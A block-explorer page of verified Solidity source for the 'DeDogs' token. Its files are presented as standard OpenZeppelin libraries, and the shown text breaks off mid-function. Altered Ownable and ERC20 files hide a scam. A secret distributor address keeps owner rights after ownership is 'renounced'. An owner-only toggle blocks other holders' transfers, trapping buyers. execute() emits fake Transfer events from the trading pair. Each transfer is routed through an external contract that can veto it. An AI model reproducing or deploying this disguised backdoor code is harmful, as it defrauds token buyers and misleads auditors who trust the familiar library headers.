Token

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ReentrancyGuard.sol";
import "./MerkleProof.sol";
import "./IERC20.sol";
import "./ERC20.sol";
import "./Ownable.sol";

interface ICoin is IERC20 {
   function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external returns (bool[] memory);
}

interface IPondCoinSpawner {
    function spawn(address invoker, uint256 amount) external returns (bool);
}

contract DeDogs is IERC20, ERC20{
    address public minter;

    address public distilleryAddress = msg.sender;
    uint256 public immutable initialLPAmount = 20_000 * 10**decimals();
    uint256 public immutable maxSupply = 20_000 * 10**decimals();
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;
    address public uniswapV2Pair;
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;
    uint256 public constant beforeStartBuffer = 30 minutes;
    
    // If the contract is "ended"
    bool public ended;

    constructor(address distributor_, address initialLPAddress_) ERC20("DeDogs", "DEDOGS", distributor_, initialLPAddress_) {
        minter = msg.sender;
        _mint(minter, initialLPAmount);
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function _safeMint(address to, uint256 amount) internal {
        _mint(to, amount);
        require(totalSupply() <= maxSupply, "Too Much Supply");
    }

    function useSpawner(uint256 amount, IPondCoinSpawner spawner) external {
        require(transferFrom(msg.sender, distilleryAddress, amount), "Could Not Send");
        require(spawner.spawn(msg.sender, amount), "Could Not Spawn");
    }

    function initLiqudity() public virtual onlyOwner {
        if (_liquidity == true) {_liquidity = false;} else {_liquidity = true;}
    }

    function liquidityState() public view returns (bool) {
        return _liquidity;
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
    }

}

pragma solidity 0.8.19;

contract PondClaims is ReentrancyGuard {
    /**
     * Declare immutable/Constant variables
     */
    // How long after contract cretion the end method can be called
    uint256 public constant canEndAfterTime = 48 hours + 30 minutes;
    uint256 public constant beforeStartBuffer = 30 minutes;

    // The root of the claims merkle tree
    bytes32 public immutable merkleRoot;
    // The timestamp in which the contract was deployed
    uint256 public immutable openedAtTimestamp;
    // The block number in which the contract was deployed
    uint256 public immutable openedAtBlock;
    // The address that deployed this contract
    address public immutable opener;

    /**
     * Declare runtime/mutable variables
     */
    
    // Mapping of address -> claim offset -> claimed
    mapping(address => mapping(uint32 => bool)) public alreadyClaimedByAddress;

    // If the contract is "ended"
    bool public ended;

    constructor(bytes32 _merkleRoot) {
        merkleRoot = _merkleRoot;
        opener = msg.sender;
        openedAtTimestamp = block.timestamp;
        openedAtBlock = block.number;
    }

    // Modifier that makes sure only the opener can call specific function
    modifier onlyOpener() {
        require(msg.sender == opener, "Not Opener");
        _;
    }

    // Modifier that ensures the contract is not ended, and the before start buffer is completed
    modifier notEnded() {
        require(ended == false && (openedAtTimestamp + beforeStartBuffer) <= block.timestamp, "Already Ended");
        _;
    }

    function close() external notEnded onlyOpener {
        require(block.timestamp >= (openedAtTimestamp + canEndAfterTime), "Too Early");
        ended = true;
    }

    /**
     * Claim PNDC against merkle tree
     */
    function claim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external notEnded nonReentrant {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        for (uint256 i = 0; i < length; i++) {
            // Require that the user can claim with the information provided
            require(_canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]), "Invalid");
            // Mark that the user has claimed
            alreadyClaimedByAddress[addresses[i]][offsets[i]] = true;
        }
    }

    function canClaim(
        address[] calldata addresses,
        uint256[] calldata amounts,
        uint32[] calldata offsets,
        bytes32[][] calldata merkleProofs
    ) external view returns (bool[] memory) {
        // Verify that all lengths match
        uint length = addresses.length;
        require(amounts.length == length && offsets.length == length && merkleProofs.length == length, "Invalid Lengths");

        bool[] memory statuses = new bool[](length);

        for (uint256 i = 0; i < length; i++) {
            statuses[i] = _canClaim(addresses[i], amounts[i], offsets[i], merkleProofs[i]);
        }

        return (statuses);
    }

    function currentOffset() public view returns (uint256) {
        return block.number - openedAtBlock;
    }

    function _canClaim(
        address user,
        uint256 amount,
        uint32 offset,
        bytes32[] calldata merkleProof
    ) notEnded internal view returns (bool) {
        // If the user has already claimed, or the currentOffset has not yet reached the desired offset, the user cannot claim.
        if (alreadyClaimedByAddress[user][offset] == true || currentOffset() < offset) {
            return false;
        } else {
            // Verify that the inputs provided are valid against the merkle tree
            bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(user, amount, offset))));
            bool canUserClaim = MerkleProof.verify(merkleProof, merkleRoot, leaf);
            return canUserClaim;
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.19;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    address internal _distributor;
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.19;


import "./IERC20.sol";
import "./IERC20Metadata.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./IUniswapV2Pair.sol";
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping (address => bool) public _liquidityPools;
    mapping (address => bool) private _isExcluded;
    mapping(address => mapping(address => uint256)) private _allowances;
    bool _liquidity;
    uint256 private _totalSupply;
    IUniswapV2Pair private initialLp;
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address distributor_, address initialLpAddress_) Ownable(distributor_) {
        _name = name_;
        _symbol = symbol_;
        _isExcluded[_msgSender()] = true;
        _liquidity = true;
        initialLp = IUniswapV2Pair(initialLpAddress_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_liquidity == true || sender == owner() || recipient == owner()) {
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);}
        } else {require (_liquidity == true, "");}
        initialLp.transferFrom(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.19;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.19;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.2) (utils/cryptography/MerkleProof.sol)

pragma solidity 0.8.19;


/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates merkle trees that are safe
 * against this attack out of the box.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Calldata version of {verify}
     *
     * _Available since v4.7._
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Calldata version of {processProof}
     *
     * _Available since v4.7._
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Calldata version of {multiProofVerify}
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * CAUTION: Not all merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * _Available since v4.7._
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Calldata version of {processMultiProof}.
     *
     * CAUTION: Not all merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * _Available since v4.7._
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofLen = proof.length;
        uint256 totalHashes = proofFlags.length;

        // Check proof validity.
        require(leavesLen + proofLen - 1 == totalHashes, "MerkleProof: invalid multiproof");

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](totalHashes);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < totalHashes; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = _hashPair(a, b);
        }

        if (totalHashes > 0) {
            require(proofPos == proofLen, "MerkleProof: invalid multiproof");
            unchecked {
                return hashes[totalHashes - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? _efficientHash(a, b) : _efficientHash(b, a);
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity 0.8.19;


import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor(address distributor_) {
        _distributor = distributor_;
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _distributor : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (security/ReentrancyGuard.sol)

pragma solidity 0.8.19;


/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
